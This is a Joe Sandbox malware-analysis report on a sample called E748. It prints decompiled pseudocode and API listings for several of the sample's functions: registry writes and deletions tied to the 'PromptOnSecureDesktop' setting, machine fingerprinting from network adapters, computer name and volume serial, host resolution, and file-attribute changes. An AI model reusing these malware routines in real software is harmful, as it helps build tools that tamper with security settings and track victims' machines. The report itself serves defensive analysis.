Opcode ID: 9b5ac8f7cf2697edf35899ff3aac4111ddb79a0cea870cd83aaa578672bd77eb
Instruction ID: eae25a8511f352945a34fb9b973c7fcf4134516148201c666b6afcf2a9f9d001
Opcode Fuzzy Hash: 9b5ac8f7cf2697edf35899ff3aac4111ddb79a0cea870cd83aaa578672bd77eb
Instruction Fuzzy Hash: 91417CB0904309EBCB24CF6CC8467AE7761FB48324F20966AE9B51B3D0D3799951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0063E77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0063DF55: GetCurrentThreadId.KERNEL32 ref: 0063DFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,0063A695), ref: 0063E7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,0063A695), ref: 0063E7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,0063A695), ref: 0063E802

Strings

PromptOnSecureDesktop, xrefs: 0063E829, 0063E82E, 0063E865, 0063E884

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: d8a223e1de8c782ac99bc5c99e3d991e0cf4889d7c3ed487d7ab9193fd2b257b
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: 142129B1A003017AE2647B31AC4BFEB3E1EEB55750F10002CFA09B51D3EAA6D85082F9

Uniqueness

Uniqueness Score: -1.00%

Function 0043C166, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1E0
__aullrem.LIBCMT ref: 0043C3B0
__aulldiv.LIBCMT ref: 0043C3D2

Strings

9, xrefs: 0043C3E3

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: ba5a0bad7295129e0ffdce687811e602dc813b423b59604de4212f4d725f2a61
Instruction ID: f173ce0ab3b57f81f8a0804bc85b4c058449add9a0084845c6b37ee2fcba6a04
Opcode Fuzzy Hash: ba5a0bad7295129e0ffdce687811e602dc813b423b59604de4212f4d725f2a61
Instruction Fuzzy Hash: CC4105B1E102299FDB24CF48C881BAEB7B5FF89314F10919AD549BB241C7385E85CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043C1B4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1E0
__aullrem.LIBCMT ref: 0043C3B0
__aulldiv.LIBCMT ref: 0043C3D2

Strings

9, xrefs: 0043C3E3

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 2528f698d6291c258dec903c324bb33ce4f1bacfc71c60f2c506b804ba73ebd1
Instruction ID: 22274a2fdf66c3b1ccdc84a55c65f50546444a28c29c7459d8a8e751ac579f7d
Opcode Fuzzy Hash: 2528f698d6291c258dec903c324bb33ce4f1bacfc71c60f2c506b804ba73ebd1
Instruction Fuzzy Hash: 504106B1E106299FDB24CF48C881BAEB7B5FB8A314F10919AD549B7241C7385E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B3D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B69
__aullrem.LIBCMT ref: 00427D36
__aulldiv.LIBCMT ref: 00427D58

Strings

9, xrefs: 00427D69

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: db2cbd662e7da5931c689d01abf563af20214a74fd042e01e449af1fd5c20119
Instruction ID: 4775a0e748bc931f4ff6ce66f996a0e28ac21e4cf9e44d257703b4441630563e
Opcode Fuzzy Hash: db2cbd662e7da5931c689d01abf563af20214a74fd042e01e449af1fd5c20119
Instruction Fuzzy Hash: B54104B1E046299FDB64DF59D889BAEB7B5BF84300F50859AD009A7241CB389A80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00434E7C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434EA8
__aullrem.LIBCMT ref: 00435075
__aulldiv.LIBCMT ref: 00435097

Strings

9, xrefs: 004350A8

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 25681a2a650e2b3b2aff3015b5f92708884c9d25b1b71cb3b5eae6cf5f9e8c3a
Instruction ID: 5a92d2d54cb62a0ea6dba6948f969546238fa2995ff5240b00d74cdc9331b0ac
Opcode Fuzzy Hash: 25681a2a650e2b3b2aff3015b5f92708884c9d25b1b71cb3b5eae6cf5f9e8c3a
Instruction Fuzzy Hash: DA41E4B1D01629DFEB24CF58C899BEEB7B5FB89304F24959AD009A7244C7396E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C15D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1E0
_get_int64_arg.LIBCMTD ref: 0043C208
__aullrem.LIBCMT ref: 0043C3B0
__aulldiv.LIBCMT ref: 0043C3D2

Strings

9, xrefs: 0043C3E3

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 02b58a4e75605d91eca72d5eecfd25d1189bfe5684e380c85c8c7710c744b86e
Instruction ID: 7706dca700057820ffd60a892e0eca2df7c4c95d1473806c0139a0dec24f4310
Opcode Fuzzy Hash: 02b58a4e75605d91eca72d5eecfd25d1189bfe5684e380c85c8c7710c744b86e
Instruction Fuzzy Hash: F841F7B1E106299FDB24CF48C981BAEB7B5FB8A314F1091DAD549B7241C7385E81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00427AEC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B69
_get_int64_arg.LIBCMTD ref: 00427B91
__aullrem.LIBCMT ref: 00427D36
__aulldiv.LIBCMT ref: 00427D58

Strings

9, xrefs: 00427D69

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d46a0162608aa2183bfdfe1bb5190fbee2b02b3e1f170d606e4ef3e5aa5c8c8d
Instruction ID: 2149aee3ea53cbea4b4bccce0b72e370a52c50e97b00229d7088c8969d55a0b3
Opcode Fuzzy Hash: d46a0162608aa2183bfdfe1bb5190fbee2b02b3e1f170d606e4ef3e5aa5c8c8d
Instruction Fuzzy Hash: E441F4B1E08629DFDB64DF59D989BAEB7B5BF84300F5045DAD009A7201C7389E81CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00434E2B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434EA8
_get_int64_arg.LIBCMTD ref: 00434ED0
__aullrem.LIBCMT ref: 00435075
__aulldiv.LIBCMT ref: 00435097

Strings

9, xrefs: 004350A8

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 71cd83e82736ce390d31a46b5e77419e51acbf520845a3a38bbba953b4c99741
Instruction ID: 8814d4731a466b8ee9bd6034430c9dcb3828c9708529654700c8eb29955fc192
Opcode Fuzzy Hash: 71cd83e82736ce390d31a46b5e77419e51acbf520845a3a38bbba953b4c99741
Instruction Fuzzy Hash: 8141F5B1D05628DFDB24CF58C899BEEB7B5FB89304F24919AE009A7244C7396E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0063764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006376C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00637956
RegCloseKey.ADVAPI32(?), ref: 00637967

Strings

PromptOnSecureDesktop, xrefs: 006376AE, 006376B3, 006376CE

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: d5d91ad35330ca397061926c476e58a6ae58197a1a359189c86447a8d9018688
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: 5D11E6B0A04109AFDB218F59DC46FEFBF7AEF46710F144565F510EA291D7B18D508BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

localcfg, xrefs: 00401BE7
hi_id, xrefs: 00401BE5

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0063994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00639986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 006399A6
RegCloseKey.ADVAPI32(?), ref: 006399AF

Strings

PromptOnSecureDesktop, xrefs: 00639972, 00639977, 00639999, 006399BC

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: 56fb50bc4f5b3b94992af5da99f68e90c847e60457065af91826d39e5d1e8944
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: E2F062B2680208BBF7156B54AC07FDF3A2DDB85B00F104065FA05B9092E6E59EA086FD

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

time_cfg, xrefs: 00402684
~s`ysps, xrefs: 00402693

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~s`ysps
API String ID: 1594361348-2010419113
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 006328D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 006328E3
gethostbyname.WS2_32(u6A), ref: 006328EF

Strings

time_cfg, xrefs: 006328D4
u6A, xrefs: 006328D5, 006328E2, 006328EE

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: c5ec97908d7ba72e64cdf5b664c2e7e231ac4e2cfe1fe5d0dff0e5cf6acfe63a
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: E2E0E2306045269FDB509B28F848ACA77A6AF4A330F158595F454D72A4C774ACC19B94

Uniqueness

Uniqueness Score: -1.00%

Function 0063D7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0063D7BC
Sleep.KERNEL32(000003E8), ref: 0063D7C7
ExitProcess.KERNEL32 ref: 0063D7D3

Strings

ps, xrefs: 0063D7BC

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: ps
API String ID: 2012141568-3878219058
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: 74e7d988ebd047f346a652d856ad9be5a66c6d603f62f13297ce1c12ea5ab897
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: 7DC04830841208EBD7812BA4FC4DA8C3E6AAB08302B20D164B10A900B1CAB20A808A29

Uniqueness

Uniqueness Score: -1.00%

Function 006369AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 006369CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 00636A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 00636A23
CloseHandle.KERNEL32(000000FF), ref: 00636BC1

Part of subcall function 0063EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00631DB8,?), ref: 0063EE91
Part of subcall function 0063EE7E: HeapFree.KERNEL32(00000000), ref: 0063EE98

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: 7c46a1f86dcf9f2bc14af946ee78040ab5701dd25324baafd60075b23a50cffe
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
